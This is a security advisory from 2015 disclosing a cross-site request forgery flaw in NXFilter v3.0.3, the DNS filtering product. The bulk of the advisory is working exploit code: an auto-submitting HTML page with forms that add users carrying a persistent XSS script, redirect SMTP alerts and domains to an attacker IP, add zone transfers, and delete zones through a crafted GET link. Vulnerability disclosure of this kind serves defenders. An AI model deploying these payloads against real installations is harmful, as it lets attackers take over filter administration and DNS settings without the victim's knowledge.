###########################

# NXFilter v3.0.3 CSRF Vulnerability

###########################

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-CSRF.txt



Vendor:
================================
www.nxfilter.org/p2/



Product:
================================
NXFilter v3.0.3



Vulnerability Type:
=================================
Cross site request forgery - CSRF



CVE Reference:
==============
N/A



Vulnerability Details:
=====================
No CSRF protections exist allowing us to make malicious HTTP requests on behalf of our victim.
The Server will then happily process any of the following actions if our victim clicks our infected linx
or visits our malicious website while currently logged in to the vulnerable application.

1) "add arbitrary users"
2) "add or change SMTP settings"
3) "add arbitrary redirect domains"
4) "add arbitrary zone transfers"
5) "delete zone transfer domains"



Exploit code(s):
===============

<!DOCTYPE>
<html>
<head>
<title></title>

<body onLoad="doit()">

<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>



1) CSRF add arbitrary users

<form id="HELL" action="http://localhost/user,user.jsp" method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="name" value="punksnotdead">
<input type="text" name="description" value="<script>alert(666)</script>"> <---- and some persistent XSS!
</form>


2) CSRF add or change SMTP notification alerts

<form id="HELL" action="http://localhost/config,alert.jsp" method="post">
<input type="text" name="action_flag" value="update" >
<input type="text" name="admin_email" value="ghostofsin@abyss.com">
<input type="text" name="smtp_host" value="6.6.6.0">
<input type="text" name="smtp_port" value="25">
<input type="text" name="smtp_user" value="hyp3rlinx">
<input type="text" name="smtp_passwd" value="abc123">
<input type="text" name="period" value="0">
<input type="text" name="token" value="">
</form>



3) CSRF add arbitrary redirect domain

<form id="HELL" action="http://localhost/config,redirection.jsp" method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="src" value="hyp3rlinx.altervista.org">
<input type="text" name="dst" value="6.6.6.0">
</form>



4) CSRF add arbitrary zone transfers

<form id="HELL" action="http://localhost/config,zone_transfer.jsp" method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="domain" value="hyp3rlinx.altervista.org">
<input type="text" name="ip" value="6.6.6.0">
</form>



5) CSRF delete zone transfer domains

http://localhost/config,zone_transfer.jsp?action_flag=delete&id=1



Disclosure Timeline:
======================================
Vendor Notification: October 18, 2015
November 5, 2015 : Public Disclosure




Exploitation Technique:
=======================
Remote



Severity Level:
===============
High



Description:
==========================================================

Request Method(s): [+] GET / POST


Vulnerable Product: [+] NXFilter v3.0.3


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

by hyp3rlinx

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-11-13]

###########################